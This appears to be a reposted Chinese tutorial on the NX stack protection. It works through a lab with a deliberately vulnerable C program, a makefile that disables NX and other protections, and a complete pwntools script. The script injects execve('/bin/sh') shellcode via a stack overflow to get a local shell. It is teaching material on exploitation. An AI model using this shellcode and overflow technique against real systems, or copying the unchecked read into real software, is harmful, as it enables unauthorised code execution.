NX防护机制以及最基本shellcode

admin 2023年1月7日11:10:27评论18 views字数 3015阅读10分3秒阅读模式

NX 基本介绍

No-eXecuteNX的基本原理是将数据所在内存页(用户栈中)标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令.


NX防护机制以及最基本shellcode


如图所示,该程序的栈空间没有可执行x权限,所以无法执行任何代码。


道理我们都懂,那么如果我们关闭了NX到底可以干什么呢,该如何利用呢?下面通过一个实验来说明。


实验基本信息

本次虽提供了源码,但在我们利用NX防护关闭这个漏洞时,是在不知道源代码,编译时没有附带-g无法gdb直接进行调试的基础上进行的。


源代码

#include <stdio.h>#include <stdlib.h>#include <unistd.h>void init(){    setvbuf(stdin,0,_IONBF,0);    setvbuf(stdout,0,_IONBF,0);}int main(){    char buf[100] = {0};    init();    printf("[DEBUGING] buf: %pn",buf);    printf("Hello,What's Your name?n");    read(0,buf,0x100);    printf("I don't know you,so bye ;)n");    return 0;}

(向右滑动、查看更多)


makefile文件


提供makefile方便可以快速编译改代码


OBJS=pwn_2.cCC=gccCFLAGS+=-fno-stack-protector -no-pie -z execstack # 关闭NXpwn_2:$(OBJS)        $(CC) $^ $(CFLAGS) -o $@clean:        $(RM) *.o # 可省略

(向右滑动、查看更多)


checksec信息


NX防护机制以及最基本shellcode


如图所示NX disabledNX防护已关闭


NX防护机制以及最基本shellcode


确定栈段具有可执行权限


提示


进行编译的时候,gcc 会提示:

‘read’ writing 256 bytes into a region of size 100 overflows the destination [-Wstringop-overflow=]

不用理会,因为本身我们验证的就是栈溢出,所以此处提示数据会溢出是正确的。


启动!

本次我们不站在有源码的前提下,所以对程序的行为等进行一系列观察。


观察程序的行为


./pwn_2执行该程序


NX防护机制以及最基本shellcode


通过执行的结果我们发现该程序泄露了其中buf的地址,怀疑可能是保存读取信息的数组。


我们再strace看看其系统调用。


NX防护机制以及最基本shellcode


初步确认通过read进行读取 读取的长度为256字节(0x100),由于read是底层的系统调用,所以此处不能武断的认为一定是调用了read,有可能是任何封装了read的函数(如 `fread` ),再通过gdb调试其程序vmmap查看虚拟内存空间。


NX防护机制以及最基本shellcode


确认buf处于栈段中,而且该栈段具有可执行权限


确认栈溢出


进一步通过objdump看看程序的反汇编objdump -D pwn_2 -M intel


NX防护机制以及最基本shellcode


可以明显的看出,栈栈中开辟了0x70的空间,而且其中有 0x64 字节的空间初始化为了 0 (8 * 12 + 4)


确认这部分的空间就是为buf开辟的,所以buf为一个大小为 100 的数组,确认存在栈溢出,起始我们只需要确认栈的大小为 0x70 即可,接下来进行覆盖。


利用

思路


向栈中插入系统调用execv调用的代码,调用/bin/bash,从而执行一个shell,这只是一个最简单的利用方式,利用方式多种多样。


如何写入一段系统调用


https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md


我们可以从该网站中查看相关的系统调用,与其需要的参数,将对应的参数按照rdirsirdxrcxr8r9的顺序传入相应的寄存器(网站中也会给出),并最后在rax加入其系统调用编号,再调用syscall即可。

如下为execv

xor rsi,rsimov rdx,rsimov rdi,addressmov al.59syscall

其中address便是我们要传入的要调用执行file的名称的地址,也就是/bin/bash的地址。


NX防护机制以及最基本shellcode


其中 arg0 和 arg1 若不给值,寄存器赋 0 即可。


编写相关脚本

接收并保存buf的地址


首先我们现把buf的地址保存起来,为了后续向该地址中写入要执行的代码。

from pwn import *p = process('./pwn_2')p.recvuntil(b'buf: ')buf = int(p.recvline()[:-1],16)log.info("buf address is :0x%x",buf)


测试成功,获得buf的地址。


NX防护机制以及最基本shellcode


写入/bin/bash字符串


由于系统调用要调用bash弹出一个shell,所我们需要先将该字符写入到栈中,我们的思路是:


将该字符串写入到buf首地址的空间中,接下来系统调用传入地址时,只需要传入数组的首页地址即可。

payload = b'/bin/sh'p.sendafter(b'name?',payload)


先进行一下测试。


NX防护机制以及最基本shellcode


成功写入到数组的开头处。


写入汇编代码


一些小细节,为了让我们写入的内容分行写入,我们使用 三引号 将内容包含起来。

context.arch = 'amd64'    #指定架构类型 为amd64context.os = 'linux'      #系统为linuxcontext.endian = 'little' #小端模式context.word_size = 64    # 64位系统sc = asm('''    xor rsi,rsi    mov rdx,rsi    mov rdi, ''' + str(buf) + '''    mov al,59    syscall''')

(向右滑动、查看更多)


之前我们将/bin/bash字符串放到了数组的开头处,所以此时直接传buf的地址即可。


NX防护机制以及最基本shellcode

成功写入并返回到该系统调用处。


最终的脚本

接下来,写入以上内容后,我们只需要让接下来0x70大小的空间中剩下的空间全部填充,并溢出将返回的地址溢出位buf的地址即可。

from pwn import *p = process('./pwn_2')p.recvuntil(b'buf: ')buf = int(p.recvline(),16)raw_input('>')log.info(hex(buf))payload = b'/bin/sh'context.arch = 'amd64'context.os = 'linux'context.endian = 'little'context.word_size = 64sc = asm('''     xor rsi,rsi     mov rdx,rsi     mov rdi,''' + str(buf) + '''     mov al,59     syscall''')payload += scpayload = payload.ljust(0x70,b'x00') # 用 0 填充满0x70的空间payload += p64(0x0)payload += p64(buf + 8)raw_input('>')p.sendafter(b'name?',payload)raw_input('>')p.interactive()

(向右滑动、查看更多)


NX防护机制以及最基本shellcode


精彩推荐







NX防护机制以及最基本shellcode

NX防护机制以及最基本shellcode

NX防护机制以及最基本shellcode

NX防护机制以及最基本shellcode


原文始发于微信公众号(FreeBuf):NX防护机制以及最基本shellcode

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月7日11:10:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   NX防护机制以及最基本shellcodehttps://cn-sec.com/archives/1485320.html

发表评论

匿名网友 填写信息